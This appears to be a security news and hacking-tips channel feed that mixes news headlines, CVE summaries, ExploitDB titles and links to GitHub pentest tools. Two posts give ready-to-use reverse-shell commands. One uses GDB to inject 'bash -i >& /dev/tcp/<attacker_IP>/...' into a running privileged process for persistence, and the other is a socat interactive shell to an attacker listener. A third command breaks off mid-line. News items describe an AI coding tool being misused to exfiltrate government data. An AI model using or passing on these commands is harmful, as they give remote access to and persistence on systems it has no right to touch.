📡 ⚠️ Hackers Weaponize Claude Code in Mexican Government Cyberattack
The AI was abused to write exploits, create tools, and automatically exfiltrate over 150GB of data. The post Hackers Weaponize Claude Code in Mexican Government Cyberattack appeared first on SecurityWeek.
#SecurityWeek
🔗 Read More

🐧 Inject Reverse Shell into Live Process
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Injects a reverse shell into a running process using GDB, allowing remote code execution and persistence.

📋 Command:

gdb -p <target_PID> -ex 'call (void)system("bash -i >& /dev/tcp/<attacker_IP>/<attacker_port> 0>&1")' -ex 'detach' -ex 'quit'

💡 Use Case: During post-exploitation, inject a reverse shell into a long-running, privileged process (e.g., a web server or database process) to maintain access or escalate privileges without leaving new files on disk.

🚩 Flags:
┃ -p <PID>: Attach GDB to a running process specified by its Process ID.
┃ -ex '<command>': Execute the specified GDB command non-interactively.
┃ call (void)system(...): Invoke the `system()` function within the target process's context to execute a shell command.
┃ detach: Detach GDB from the target process, allowing it to continue execution unaffected.
┃ quit: Exit the GDB debugger after executing commands.

┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
#Linux #CommandLine #SysAdmin #Hacking #Kali
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
🕐 03 Mar 2026 • 17:22 | @TheExploitLabX

android-pentest-tools #pentest
android-pentest-tools security / pentest utility.

https://github.com/BrunoOno0410/android-pentest-tools

arsenal #pentest
A collection of handmade tools and scripts for pentesting/CTF purposes

https://github.com/galizaragoza/arsenal

arunrar-dev #osint
Ethical hacker | Python automation, OSINT, and security tooling

https://github.com/arunrar-dev/arunrar-dev

pegasus-neo #exploit #osint #recon #web #wireless
PEGASUS-NEO is a comprehensive penetration testing framework designed for security professionals and ethical hackers. It combines multiple security tools and custom modules for reconnaissance, expl...

https://github.com/sobri3195/pegasus-neo

S3-Bucket-Scanner #cloud #osint #recon #scanner
S3 Bucket Listener is a red team focused reconnaissance tool built in Python to identify exposed and misconfigured AWS S3 buckets. It automates bucket enumeration, permission testing, and object li...

https://github.com/Slo-J42/S3-Bucket-Scanner

VulnScanner #exploit #scanner #web
VulnScanner is a lightweight, open-source tool for scanning web applications, networks, and local systems for security vulnerabilities. It features automated detection, extensible plugins, and clea...

https://github.com/therayyanawaz/VulnScanner

security-scanner #scanner
security-scanner security / pentest utility.

https://github.com/salphine/security-scanner

osTicketFileReadIntoRCE #exploit #scanner
Full-chain exploit combining PHP filter chain injection with CVE-2024-2961 (CNEXT) for unauthenticated Remote Code Execution on vulnerable osTicket installations.

https://github.com/Clarissss/osTicketFileReadIntoRCE

🐧 Socat Interactive Reverse Shell
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Establishes a fully interactive reverse shell over TCP to an attacker's listener.

📋 Command:

socat TCP:<ATTACKER_IP>:<ATTACKER_PORT> EXEC:'bash -li',pty,stderr,setsid,sigint,sane

💡 Use Case: Gaining an interactive TTY shell on a compromised Linux machine from an attacker's listener (e.g., `socat -d -d TCP-LISTEN:<ATTACKER_PORT> PTY,raw,echo=0,stderr`).

🚩 Flags:
┃ TCP:<IP>:<PORT>: Specifies the TCP connection target (attacker's IP and port).
┃ EXEC:'bash -li': Executes `/bin/bash` in login interactive mode for the shell.
┃ pty: Allocates a pseudo-terminal for a fully interactive shell experience.
┃ stderr: Redirects standard error to the network connection.
┃ setsid: Creates a new session ID, detaching the process from the parent.
┃ sigint: Forwards Ctrl+C (SIGINT) signals to the spawned shell.
┃ sane: Resets terminal settings to a standard, functional state.

┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
#Linux #CommandLine #SysAdmin #Hacking #Kali
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
🕐 03 Mar 2026 • 17:29 | @TheExploitLabX

🐧 Web Root Sensitive Data Scan
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Recursively searches a web root for common sensitive data patterns within various file types.

📋 Command:

find /var/www/html -type f \( -name "*.php" -o -name "*.js" -o -name "*.txt" -o -name "*.conf

┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
#Linux #CommandLine #SysAdmin #Hacking #Kali
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
🕐 03 Mar 2026 • 17:31 | @TheExploitLabX

🛡️ 🟠 CVE-2026-3399
CVSS 8.8 ████░ HIGH
A vulnerability was identified in Tenda F453 1.0.0.3. Affected by this vulnerability is the function fromGstDhcpSetSer of the file /goform/GstDhcpSetSer of the component httpd. The manipulation of the argument dips leads to buffer overflow. The attack may be initiated remotely. The exploit is publi…
#CVE #Vulnerability #CVSS8
🔗 Read More

🛡️ 🟠 CVE-2026-3400
CVSS 8.8 ████░ HIGH
A security flaw has been discovered in Tenda AC15 up to 15.13.07.13. Affected by this issue is some unknown functionality of the file /goform/TextEditingConversion. The manipulation of the argument wpapsk_crypto2_4g results in stack-based buffer overflow. The attack may be launched remotely. The ex…
#CVE #Vulnerability #CVSS8
🔗 Read More

💣 ⚠️ [webapps] WordPress Backup Migration 1.3.7 - Remote Command Execution
WordPress Backup Migration 1.3.7 - Remote Command Execution
#ExploitDB #Exploit #RCE #CMDi
🔗 Read More

💣 ⚠️ [webapps] mailcow 2025-01a - Host Header Password Reset Poisoning
mailcow 2025-01a - Host Header Password Reset Poisoning
#ExploitDB #Exploit
🔗 Read More

💣 ⚠️ [webapps] Easy File Sharing Web Server v7.2 - Buffer Overflow
Easy File Sharing Web Server v7.2 - Buffer Overflow
#ExploitDB #Exploit #BufferOverflow
🔗 Read More

💣 ⚠️ [webapps] WeGIA 3.5.0 - SQL Injection
WeGIA 3.5.0 - SQL Injection
#ExploitDB #Exploit #SQLi
🔗 Read More

💣 ⚠️ [webapps] Boss Mini v1.4.0 - Local File Inclusion (LFI)
Boss Mini v1.4.0 - Local File Inclusion (LFI)
#ExploitDB #Exploit #LPE #LFI
🔗 Read More

📰 ⚠️ AI Agents: The Next Wave Identity Dark Matter - Powerful, Invisible, and Unmanaged
The Rise of MCPs in the Enterprise The Model Context Protocol (MCP) is quickly becoming a practical way to push LLMs from “chat” into real work. By providing structured access to applications, APIs, and data, MCP enables prompt-driven AI agents that can retrieve information, take action, and automa…
#TheHackerNews #CyberNews
🔗 Read More

📰 ⚠️ Starkiller Phishing Suite Uses AitM Reverse Proxy to Bypass Multi-Factor Authentication
Cybersecurity researchers have disclosed details of a new phishing suite called Starkiller that proxies legitimate login pages to bypass multi-factor authentication (MFA) protections. It's advertised as a cybercrime platform by a threat group calling itself Jinkusu, granting customers access to a d…
#TheHackerNews #CyberNews #Phishing
🔗 Read More